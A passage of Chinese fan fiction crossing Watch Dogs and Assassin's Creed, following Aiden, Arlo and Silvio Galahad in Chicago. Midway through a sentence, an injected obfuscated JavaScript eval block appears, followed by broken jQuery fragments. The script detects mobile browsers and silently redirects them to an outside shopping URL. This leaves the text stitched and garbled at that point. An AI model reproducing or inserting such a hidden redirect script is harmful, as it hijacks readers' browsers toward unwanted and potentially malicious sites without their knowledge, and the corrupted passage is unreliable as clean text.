约尔迪关着莫里斯的仓库不太远。阿洛特坐在车里，手臂搭在车窗上，看着已经升起的太阳挂在地铁线路上。当地铁轰鸣着经过时，它会被遮挡一会，但金箔般闪耀着的光芒很快从列车车窗里影影绰绰地洒下来；直到它升得越来越高，人造的行驶工具无法再遮挡。
艾登也是在这时回来的。他拉开车门，一言不发地坐进副驾驶。阿洛特没回头，递过去一根棒棒糖。
“这是什么？”
“棒棒糖。”
“我知道这是棒棒糖。我是问你为什么给我这个？”
阿洛特转过头。艾登这才发现他也叼着一根白色的塑料糖棍。他把深绿色的墨镜往鼻梁上勾了勾，露出其后同色系的眼睛，“因为我觉得这时候的气氛很适合来根烟。但我不抽烟，而且那玩意很伤身。我记得你也不抽，对吧？”
艾登懒得反驳他，沉默地接过那根棒棒糖。居然还是苹果味的。
“一天一苹果，医生远离我。”阿洛特开玩笑说。他摇起车窗，以免让路人看到车内的情况，“我们现在出发，还是在这坐会？”
“过会再走，”艾登含糊地回答，“ctOS会指引我们的方向。”
阿洛特欲言又止。“你知不知道…算了，没什么。你是说那个犯罪预测系统？”
“对。”
他们就这样在车里坐了一会儿。车流不息，随着太阳升起，芝加哥也逐渐醒来；打着电话的时髦女□□谈着工作经过，听着音乐的黑人男性双手插兜，街对面的报刊亭里播放着空灵的日与夜。人声，音乐声，车流声，行走在芝加哥的冬天。
“这一切都结束了。”艾登说。他摇下车窗，把糖棍掷进路边的垃圾桶里。路过的一名男性对此哇哦一声，阿洛特也转头看了过来，接着他们听到熟悉的那一句，“这不是电视上的私法制裁者嘛！”
艾登摇上车窗。没等他开口，阿洛特已经憋着笑启动了车辆。
“是啊，”阿洛特若无其事，“你接下来有什么打算？”
“也许会继续在芝加哥待一段时间，也许会很快离开。”艾登抱起手臂，“反正，无论在哪里，我都会继续我应该做的事情。”
“支持你，”阿洛特在红灯前停下，“不过我建议你早点离开芝加哥。尽管悬赏你的奎恩已经被你干掉了，但你脑袋上还顶着布鲁姆的赏金。被你惹毛了的收尾人大军想必也在寻找你的踪迹。”
“我真好奇那到底是几个零，”艾登说，“大概比我银行账户里的还要多。”
阿洛特耸肩，“干我们这行的总是擅长创造价值。”
“还有你的事。”艾登看了他一眼，“你和加拉哈德又是什么情况？”
“呃，这可能有点复杂。”
红灯跳绿。阿洛特缓缓踩下油门，肌肉车低调地随着车流前行。
“比你那天晚上浑身湿透地回来还要复杂？”
阿洛特深吸了一口气。“好吧，”他说，“其实那天我们只是聊到一半。没达成共识。有其他人打断了我们的谈话，所以我临时离开了。”
他没看艾登的表情，但立刻补充了一句，“不是被赶走的那种。”
“我没那么问。”
“我感觉你在那么想。”
“我原来也没准备说出来。”艾登说，“这不重要。所以在你杀死了他的父母的情况下，他不准备杀死你？我都没发现加拉哈德是这样一个好人。”
阿洛特瞟了眼后视镜。艾登刚刚扬起的嘴角立刻放下，扭过头装作看风景。
“…我觉得他可能不知道那是我干的，”阿洛特决定忽视此事，“而且他准备雇佣我做某件事。你提醒我了，我得再找到他问问。”
“为什么是你？”艾登转回目光，“我知道你在这一行里有多优秀，但第一加拉哈德几乎从不雇佣收尾人，第二你真的很久没出现了。这件事多少有点蹊跷，你小心点。”
从艾登的角度来看，这件事确实透露着诡异之处。但假如拼上一块缺失的线索，他就会发现这是为什么。
“这很复杂，”阿洛特说，“我的兄弟曾经担任过他的导师。小加拉哈德有他的信物，被我认了出来，所以是我找上门的。”
“…行。”
艾登没再问问题了。阿洛特又看了他一眼，后者对他伸出手，“手机给我。”
“嗯？”
“我给你加点小东西，”艾登说，“你就可以随时查看他的定位，并且以匿名的方式给他打电话。”
阿洛特把手机递了过去。轮到艾登疑惑了一下，他颠了颠那个小小的金属方块，在手机背面摸到几个字母浮雕。他把阿洛特的手机翻了过来，发现那是斯塔克的标识。
“斯塔克什么时候出的这一款？”
“哦，那是托尼送给我的礼物。”
“难怪我当时没有立刻黑进去。”
阿洛特笑了。艾登在手机上操作了几下，就还给了他。“前面停一下。那里有犯罪预警。”
绿灯跳红。阿洛特一脚油门过了信号灯，灵巧地闪避两旁刚刚起步的车辆，随后又立刻刹车，把艾登在路边放下。私法制裁者拉开甩棍，走进小巷。摄像头同时开始转动，寻找潜在的犯罪者与受害者。
阿洛特不再看他们。有手机有甩棍的私法制裁者在芝加哥已经开启无敌模式，现在需要关注的是圣殿骑士。他点了点拨打按钮，小加拉哈德的头像在屏幕上亮起。一秒，两秒。
“上午好，‘先生’。”阿洛特先开口，“你还记得我吧。”
“…很难忘记。”西尔维奥说，“我就不问你是怎么弄到我电话号码的了。如果你今晚有空，请再来一趟我的公寓。”
“你先回答我的问题，”阿洛特说，“我才会考虑见面。别忘了，你还什么都没告诉我。”
西尔维奥叹了口气。阿洛特把手机拿开耳侧，看了眼定位。圣殿骑士似乎在环状线区，但不在他的公寓里。他放大地图看了看，那里矗立着几座摩天大厦，是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092976|145032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
公司的聚集地。那可能是阿布斯泰戈分公司所在地。
“现在不行。”他说，“我在公司，没法多说。”
“害怕被人听到你的秘密？”
阿洛特随手点了点其他按钮。署名西尔维奥·加拉哈德的短信和邮件忽然涌了出来，差点淹没他的屏幕。阿洛特手忙脚乱地挨个关闭窗口，但他阅读的速度很快，西尔维奥正在处理的工作信息排着队飞入了他的大脑。
“我们各有各的秘密，刺客，”对此一无所知的圣殿骑士压低了嗓音，“你和我。今晚来我的公寓。”
阿洛特刚想说话，就发现电话被挂断了。如果他没有在刚才看到西尔维奥紧密的日程，一定会误以为他是个习惯于下命令的混蛋。事实上，小加拉哈德今天的工作从早到晚将持续十二个小时，而这还没算上他刚才亲口所说的“今晚来我的公寓”。
阿洛特决定给他节省一点时间。他的视线扫过一排会议、谈判工作，落在了今晚的最后一项。
梅德麦尔，年度慈善晚宴。
在梅洛特酒店发生的事情之后，芝加哥所有自认为有权有势的人都为之震悚。私法制裁者？他们当然知道。艾登·皮尔斯，一个收尾人，即便他是芝加哥最好的车手，神出鬼没的黑客义警，在他们眼中也只不过是一个无名小卒。他只是乘上了ctOS的顺风车而已。
但杀死幸运奎恩，南方社团的老大？
这就有点匪夷所思了。而当他们深挖此事，发现凡斯罗伊与南方社团都终结在这个人手中，以及数不清的街头犯罪，大大小小的□□，重重护卫中的犯罪车队…
他们掂量了一下自己的护卫，与奎恩的护卫，又反思了一下自己在芝加哥做过些什么，连忙躲了起来。或者说，出于对安全保障的担忧，他们开始深居简出，并抽空谴责布鲁姆开发的系统漏洞竟然如此之多，以至于让人钻了空子。好像他们完全忘了对艾登·皮尔斯的悬赏其实也有他们一份似的。
这就是为什么晚宴比起以往冷清了许多。小加拉哈德对此乐见其成。私法制裁者已经完成了大扫除的那部分，就像刺客每次经过一座城市所做的那样。剩下的部分总是由圣殿骑士完成，他们会在这废墟上重建秩序；加拉哈德会成为这座城市的下一个守护者，维序者，
——以及掌控者。
西尔维奥独自走到露台上。在完成了必要的交谈部分后，他总是需要一些新鲜空气。冰凉的气流拂过他的脸颊，他把手放在雕花栏杆上，望着夜空。没有星星，这是毫无疑问的；只有在高空向下俯瞰，才能见到城市的流光溢彩，而这就是现代的“星星”了。
但西尔维奥仍然望着夜空。过了一会儿，当他的眼睛适应了室外的亮度之后，他看到了一轮色泽浅淡的月亮。
一个托盘忽然被托到他手边。西尔维奥取走一杯香槟，随口道谢。当香甜的液体滑下他的咽喉，圣殿骑士听到熟悉的声音在他身旁响起。
“我还以为你的警惕性会更高一些。”